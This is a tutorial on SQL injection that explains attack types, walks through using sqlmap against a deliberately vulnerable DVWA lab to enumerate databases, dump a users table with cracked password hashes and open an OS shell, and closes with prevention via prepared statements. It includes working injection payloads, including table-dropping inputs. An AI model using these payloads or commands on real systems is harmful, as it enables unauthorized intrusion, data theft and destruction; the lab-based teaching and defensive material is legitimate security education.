SQL Injection with sqlmap: a tutorial

Table of Contents

What is SQL injection?

Types of SQL attacks

Installing sqlmap and setting up a testbed to run attacks

Using the sqlmap tool to launch SQL injection attacks

How to prevent SQL injection

What is SQL injection?

Injection attacks consists into include execution commands in the data sent by the user (login data for example) to an interpreter (like SQL). The main idea is that the data sent by the user is interpreted as execution commands.

In SQL injection, statements are inserted into an entry field for execution. SQL injection exploits a security vulnerability in an application’s software, for example, when user input is either incorrectly filtered for escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.

SQL injections exploit a common vulnerability in the application: incorrectly validated or non validated strings which are concatenated into a SQL statement, and later interpreted as code by the SQL engine.


Types of SQL attacks

First order injections:

The attacker enters a malicious string and causes the modified code to be executed immediately.

Incorrectly filtered escape characters

This kind of injection occurs when the input data is not filtered correctly for escape characters and then is executed by the SQL engine.

The followin code line is an example of this kind of vulnerability:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

This SQL command is used to pull up the records of the specified username from its table of users. However, if the “userName” variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the “userName” variable as:

' OR '1'='1
' OR '1'='1' --
' OR '1'='1' {
' OR '1'='1' /* 

which results in one of the following SQL commands:

SELECT * FROM users WHERE name = '' OR '1'='1';

SELECT * FROM users WHERE name = '' OR '1'='1' -- ';

If this code were to be used in an authentication procedure then this example could be used to force the selection of every data field (*) from all users rather than from one specific user name as the coder intended, because the evaluation of ‘1’=’1’ is always true.

The following value of “userName” in the statement below would cause the deletion of the “users” table as well as the selection of all data from the “userinfo” table (in essence revealing the information of every user), using an API that allows multiple statements:

a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't

This input renders the final SQL statement as follows and specified:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

Incorrect type handling

This form of SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in an SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"

It is clear from this statement that the author intended a_variable to be a number correlating to the “id” field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to

1;DROP TABLE users

will drop (delete) the “users” table from the database, since the SQL becomes:

SELECT * FROM userinfo WHERE id=1; DROP TABLE users;

Blind SQL injection vulnerabilities

Many instances of SQL injection are blind vulnerabilities. This means that the application does not return the results of the SQL query or the details of any database errors within its responses. Blind vulnerabilities can still be exploited to access unauthorized data, but the techniques involved are generally more complicated and difficult to perform.

Depending on the nature of the vulnerability and the database involved, the following techniques can be used to exploit blind SQL injection vulnerabilities:

  • You can change the logic of the query to trigger a detectable difference in the application’s response depending on the truth of a single condition. This might involve injecting a new condition into some Boolean logic, or conditionally triggering an error such as a divide-by-zero.
  • You can conditionally trigger a time delay in the processing of the query, allowing you to infer the truth of the condition based on the time that the application takes to respond.
  • You can trigger an out-of-band network interaction, using OAST techniques. This technique is extremely powerful and works in situations where the other techniques do not. Often, you can directly exfiltrate data via the out-of-band channel, for example by placing the data into a DNS lookup for a domain that you control.

Second-order SQL injection

First-order SQL injection arises where the application takes user input from an HTTP request and, in the course of processing that request, incorporates the input into an SQL query in an unsafe way.

In second-order SQL injection (also known as stored SQL injection), the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into an SQL query in an unsafe way.

Second-order SQL injection often arises in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.




Installing sqlmap and setting up a testbed to run attacks

First, make sure that Python is installed on your system, as sqlmap is a Python based tool. The sqlmap tool can be downloaded from http://sqlmap.org/ or cloned from their Github repository.

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

To check that the tool is running, run the sqlmap.py script and make sure that you get the banner. sqlmap.py is the main script of this tool, and we will run it with different arguments to launch SQL injection attacks.

$ cd sqlmap-dev
$ ./sqlmap.py -h
 ___ ___[,]_____ ___ ___  {}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python sqlmap.py [options]
== snipped ==

Now, we need a URL (a web endpoint) to scan for SQL injection vulnerabilities and launch attacks. Attacking a computer without the explicit content of the owner is illegal. Therefore, we need to setup our own web application as a testbed to run sqlmap.

The Damn Vulnerable Web Application (DVWA) is a web application with deliberate vulnerabilities used for testing pentest tools. It has a URL endpoint with SQL injection vulnerabilities, and it is just what we need. DVWA is coded with PHP and uses MySQL as the database. Therefore, you will need to install a bundle like XAMPP to get it running.

A diagram of our testbed is shown below.


Using the sqlmap tool to launch SQL injection attacks

Now that we have setup the sqlmap tool and the testbed, and identified the URL endpoint, let us start SQL-injecting!

Scanning for vulnerabilities

The first step is to check whether the URL is vulnerable to an SQL injection, and what types of attacks are possible by running the following command.

$ ./sqlmap.py -u '' --cookie='PHPSESSID=a1ad16800738a68585a4a7a2d3706d33;security=low'

== snipped ==

Note on the cookie: DVWA requires that you are logged into the web app when making requests to its URLs. Therefore, login using a web browser, copy the cookie data, and supply it to sqlmap.py with the –cookie flag as above. sqlmap will then use your logged-in session to send its requests. In the following ./sqlmap.py commands, the –cookie portion is dropped out for clarity.

sqlmap tries out a number of SQL injections on the given URL to identify potential vulnerabilities. These requests also reveal some important information about the web app, such as the software and versions of the web server, backend language/ technology, and the backend DBMS. A sample output is shown below.

== snipped ==

sqlmap identified the following injection point(s) with a total of 344 HTTP(s) requests:
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 3422=3422#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 7811 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(7811=7811,1))),0x7170716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- mWdq&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5)-- elmS&Submit=Submit
[14:56:14] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.1, Apache 2.4.37
back-end DBMS: MySQL >= 5.0

== snipped ==

sqlmap has identified that the HTTP GET parameter id is vulnerable to several types of SQL injection attacks. We do not need to know the details of these attack types to exploit the vulnerabilities and achieve our evil goals. However, it is worth knowing how the SQL injection was actually formed.

What happened behind the scenes?

To see the payloads delivered by sqlmap that caused these injections, set verbosity to level 3 or above. The output will contain lines with the prefix [PAYLOAD] that show the delivered payloads (see below).

$ ./sqlmap.py -u '' -v3

== snipped ==

[15:08:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[15:08:09] [PAYLOAD] 1';SELECT SLEEP(5)#
[15:08:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:08:09] [PAYLOAD] 1';SELECT SLEEP(5)-- DxTE
[15:08:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[15:08:09] [PAYLOAD] 1';(SELECT * FROM (SELECT(SLEEP(5)))OxtM)#

== snipped ==

Consider the payload 1';SELECT SLEEP(5)#. When this value is given to the id parameter, the SQL query formed in the backend PHP code is shown below.

Original PHP code:

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

The query formed when $id is substituted:

SELECT first_name, last_name FROM users WHERE user_id = '1';SELECT SLEEP(5)#';

Notice how the single quote and the semicolon '; after the 1 seperated the first part of the query, and allowed for arbitrary SQL statements to be placed as the second part of the query. In this case, the code ;SELECT SLEEP(5)# causes MySQL to sleep for 5 seconds before responding. sqlmap uses this query to identify the DBMS as MySQL and figure out its version (SLEEP appears to be MySQL-specific).

In this manner, arbitrary SQL statements can be injected into the query that is eventually executed on the DBMS!

Note on “arbitrary SQL statements”: Although it is possible to stack any SQL statement into the query as shown above, some combinations of DBMS and APIs do not support non-query SQL statements (Create, Alter, Drop, Insert, Update, Delete) to be stacked in this way. For example the PHP MySQL API does not support non-query stacked SQL statements. Therefore, this type of injection is most suitable for retrieving data from the database (data exfiltration).

Exploring the database

Now that we know that the id parameter in the URL is vulnerable SQL injection, let’s use sqlmap to explore the database environment of the web application.

To show the databases, use the --dbs flag;

$ ./sqlmap.py -u '' --dbs

== snipped ==

available databases [6]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test

== snipped ==

We can see that there are several databases. Some of them are MySQL specific databases that contain meta information about the DBMS and its contents. We can guess that the database dvwa must be the database used by our Damn Vulnerable Web Application.

To show tables in a database, use the -D flag to specify the database and the --tables;

$ ./sqlmap.py -u '' -D dvwa --tables

== snipped ==

Database: dvwa
[2 tables]
| guestbook |
| users     |

== snipped ==

We now know that this database has 2 tables named guestbook and users.

To show in-depth details about the table design (schema);

$ ./sqlmap.py -u '' -D dvwa --schema

== snipped ==

Database: dvwa
Table: users
[8 columns]
| Column       | Type        |
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |

== snipped ==

Retrieving data in tables

Now, let us retrieve all the data in the users table. This is easily done with the --dump flag.

$ ./sqlmap.py -u '' -D dvwa -T users --dump

== snipped ==

Database: dvwa                                                                                                                                                                                                   
Table: users
[5 entries]
| user_id | avatar                      | user    | password                                    | last_name | first_name | last_login          | failed_login |
| 1       | /hackable/users/admin.jpg   | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2019-02-26 19:41:48 | 0            |
| 2       | /hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2019-02-26 19:41:31 | 0            |
| 3       | /hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2019-02-26 19:41:31 | 0            |
| 4       | /hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2019-02-26 19:41:31 | 0            |
| 5       | /hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2019-02-26 19:41:31 | 0            |

== snipped ==

This is a complete dump of the data in the table! To add insult to injury, sqlmap detects that the password field contains hashed passwords and runs a dictionary attack to decode the hashed values. Similary, data in all the tables in the database can be retrieved via SQL injection.

More evilness: access to a shell

By exploiting certain architectural weaknesses in some DBMS systems (eg: MySQL, PostgreSQL) sqlmap is able to access an OS shell on the DBMS server. This is done by having the DBMS copy a binary file into the filesystem, and then calling it via a function created on the DBMS. For this to be possible, the DBMS session user must have permissions to access and exploit the specific DBMS weaknesses. This shell is typically limited in what it can do.

To gain access to an OS shell on the DBMS server;

$ ./sqlmap.py -u '' --os-shell

== snipped ==

# Answer a few questions here, and shell access is obtained

os-shell> pwd

total 56
drwxr-xr-x 2 sunanda sunanda 4096 Jan 13 09:05 Desktop
drwxr-xr-x 2 sunanda sunanda 4096 Feb 26 19:07 Documents
drwxr-xr-x 2 sunanda sunanda 4096 Feb 26 18:55 Downloads
-rw-r--r-- 1 sunanda sunanda 8980 Jan 13 08:58 examples.desktop
drwxrwxr-x 4 sunanda sunanda 4096 Feb  3 21:29 mlpack
drwxr-xr-x 2 sunanda sunanda 4096 Jan 13 09:05 Music
drwxr-xr-x 2 sunanda sunanda 4096 Jan 13 09:05 Pictures
drwxr-xr-x 2 sunanda sunanda 4096 Jan 13 09:05 Public
-rw-rw-r-- 1 sunanda sunanda  123 Feb  2 19:30 sunanda_custom.sh
drwxr-xr-x 2 sunanda sunanda 4096 Jan 13 09:05 Templates
drwxrwxr-x 3 sunanda sunanda 4096 Feb 26 19:49 test
drwxr-xr-x 2 sunanda sunanda 4096 Jan 13 09:05 Videos

== snipped ==




How to prevent SQL injection

SQL injection attacks can be prevented by using prepared statements.

The following pseudocode is an example of code vulnerable to SQL injection because the user input is substituted or concatenated directly into the query:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

To solve the issue of this vulnerability, the code can be rewritten using prepared statements as below, without letting the user input modify the query structure.

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");     // '?' indicates a parameter in the statement
statement.setParameter(1, input);   // Set the parameter to the value of input (it is not treated as SQL code, but only as a value for the parameter)
ResultSet resultSet = statement.executeQuery();

Prepared statements can be used in situations where the user input is combined with the command line, for example WHERE, INSERT or UPDATE clauses. They are less effective when we use ORDER BY clause, in this cases a different approach is needed, for example white-listing permitted input values, or changing the programming logic in order to get the same results.

Other mitigating practices include;

  • Validating user input: for example, we can validate whether the input is of correct data type, within an accepted range, has accepted length etc.
  • Applying properly designed database user privileges: typically, privileges assigned to users must be on the restrictive side. This may minimize damage in case of a breach.